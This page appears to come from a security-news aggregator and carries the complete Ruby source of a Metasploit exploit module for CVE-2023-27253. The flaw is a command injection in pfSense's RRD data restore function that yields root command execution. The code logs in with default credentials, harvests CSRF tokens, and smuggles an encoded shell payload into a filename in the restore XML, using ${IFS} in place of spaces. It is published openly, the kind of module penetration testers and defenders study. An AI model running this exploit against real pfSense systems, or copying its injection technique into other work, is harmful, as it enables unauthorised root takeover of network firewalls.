Security
Headlines
HeadlinesLatestCVEs

Headline

pfSense Restore RRD Data Command Injection

This Metasploit module exploits an authenticated command injection vulnerability in the "restore_rrddata()" function of pfSense prior to version 2.7.0 which allows an authenticated attacker with the “WebCfg - Diagnostics: Backup and Restore” privilege to execute arbitrary operating system commands as the “root” user. This module has been tested successfully on version 2.6.0-RELEASE.

Packet Storm
#csrf#vulnerability#web#git#php#auth#ssh#ssl
class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  include Msf::Exploit::FileDropper  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'pfSense Restore RRD Data Command Injection',        'Description' => %q{          This module exploits an authenticated command injection vulnerabilty in the "restore_rrddata()" function of          pfSense prior to version 2.7.0 which allows an authenticated attacker with the  "WebCfg - Diagnostics: Backup & Restore"          privilege to execute arbitrary operating system commands as the "root" user.          This module has been tested successfully on version 2.6.0-RELEASE.        },        'License' => MSF_LICENSE,        'Author' => [          'Emir Polat', # vulnerability discovery & metasploit module        ],        'References' => [          ['CVE', '2023-27253'],          ['URL', 'https://redmine.pfsense.org/issues/13935'],          ['URL', 'https://github.com/pfsense/pfsense/commit/ca80d18493f8f91b21933ebd6b714215ae1e5e94']        ],        'DisclosureDate' => '2023-03-18',        'Platform' => ['unix'],        'Arch' => [ ARCH_CMD ],        'Privileged' => true,        'Targets' => [          [ 'Automatic Target', {}]        ],        'Payload' => {          'BadChars' => "\x2F\x27",          'Compat' =>            {              'PayloadType' => 'cmd',              'RequiredCmd' => 'generic netcat'            }        },        'DefaultOptions' => {          'RPORT' => 443,          'SSL' => true        },        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]        }      )    )    register_options [      OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),      OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pfsense'])    ]  end  def check    unless login      return Exploit::CheckCode::Unknown("#{peer} - Could not obtain the login cookies needed to validate the vulnerability!")    end    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),      'method' => 'GET',      'keep_cookies' => true    )    return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?    return Exploit::CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200    unless res&.body&.include?('Diagnostics: ')      return Exploit::CheckCode::Safe('Vulnerable module not reachable')    end    version = detect_version    unless version      return Exploit::CheckCode::Detected('Unable to get the pfSense version')    end    unless Rex::Version.new(version) < Rex::Version.new('2.7.0-RELEASE')      return Exploit::CheckCode::Safe("Patched pfSense version #{version} detected")    end    Exploit::CheckCode::Appears("The target appears to be running pfSense version #{version}, which is unpatched!")  end  def login    # Skip the login process if we are already logged in.    return true if @logged_in    csrf = get_csrf('index.php', 'GET')    unless csrf      print_error('Could not get the expected CSRF token for index.php when attempting login!')      return false    end    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'index.php'),      'method' => 'POST',      'vars_post' => {        '__csrf_magic' => csrf,        'usernamefld' => datastore['USERNAME'],        'passwordfld' => datastore['PASSWORD'],        'login' => ''      },      'keep_cookies' => true    )    if res && res.code == 302      @logged_in = true      true    else      false    end  end  def detect_version    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'index.php'),      'method' => 'GET',      'keep_cookies' => true    )    # If the response isn't a 200 ok response or is an empty response, just return nil.    unless res && res.code == 200 && res.body      return nil    end    if (%r{Version.+<strong>(?<version>[0-9.]+-RELEASE)\n?</strong>}m =~ res.body).nil?      nil    else      version    end  end  def get_csrf(uri, methods)    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, uri),      'method' => methods,      'keep_cookies' => true    )    unless res && res.body      return nil # If no response was returned or an empty response was returned, then return nil.    end    # Try regex match the response body and save the match into a variable named csrf.    if (/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body).nil?      return nil # No match could be found, so the variable csrf won't be defined.    else      return csrf    end  end  def drop_config    csrf = get_csrf('diag_backup.php', 'GET')    unless csrf      fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when dropping the config!')    end    post_data = Rex::MIME::Message.new    post_data.add_part(csrf, nil, nil, 'form-data; name="__csrf_magic"')    post_data.add_part('rrddata', nil, nil, 'form-data; name="backuparea"')    post_data.add_part('', nil, nil, 'form-data; name="encrypt_password"')    post_data.add_part('', nil, nil, 'form-data; name="encrypt_password_confirm"')    post_data.add_part('Download configuration as XML', nil, nil, 'form-data; name="download"')    post_data.add_part('', nil, nil, 'form-data; name="restorearea"')    post_data.add_part('', 'application/octet-stream', nil, 'form-data; name="conffile"')    post_data.add_part('', nil, nil, 'form-data; name="decrypt_password"')    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),      'method' => 'POST',      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",      'data' => post_data.to_s,      'keep_cookies' => true    )    if res && res.code == 200 && res.body =~ /<rrddatafile>/      return res.body    else      return nil    end  end  def exploit    unless login      fail_with(Failure::NoAccess, 'Could not obtain the login cookies!')    end    csrf = get_csrf('diag_backup.php', 'GET')    unless csrf      fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when starting exploitation!')    end    config_data = drop_config    if config_data.nil?      fail_with(Failure::UnexpectedReply, 'The drop config response was empty!')    end    if (%r{<filename>(?<file>.*?)</filename>} =~ config_data).nil?      fail_with(Failure::UnexpectedReply, 'Could not get the filename from the drop config response!')    end    config_data.gsub!(' ', '${IFS}')    send_p = config_data.gsub(file, "WAN_DHCP-quality.rrd';#{payload.encoded};")    post_data = Rex::MIME::Message.new    post_data.add_part(csrf, nil, nil, 'form-data; name="__csrf_magic"')    post_data.add_part('rrddata', nil, nil, 'form-data; name="backuparea"')    post_data.add_part('yes', nil, nil, 'form-data; name="donotbackuprrd"')    post_data.add_part('yes', nil, nil, 'form-data; name="backupssh"')    post_data.add_part('', nil, nil, 'form-data; name="encrypt_password"')    post_data.add_part('', nil, nil, 'form-data; name="encrypt_password_confirm"')    post_data.add_part('rrddata', nil, nil, 'form-data; name="restorearea"')    post_data.add_part(send_p.to_s, 'text/xml', nil, "form-data; name=\"conffile\"; filename=\"rrddata-config-pfSense.home.arpa-#{rand_text_alphanumeric(14)}.xml\"")    post_data.add_part('', nil, nil, 'form-data; name="decrypt_password"')    post_data.add_part('Restore Configuration', nil, nil, 'form-data; name="restore"')    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),      'method' => 'POST',      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",      'data' => post_data.to_s,      'keep_cookies' => true    )    if res      print_error("The response to a successful exploit attempt should be 'nil'. The target responded with an HTTP response code of #{res.code}. Try rerunning the module.")    end  endend

Packet Storm: Latest News

Scapy Packet Manipulation Tool 2.6.1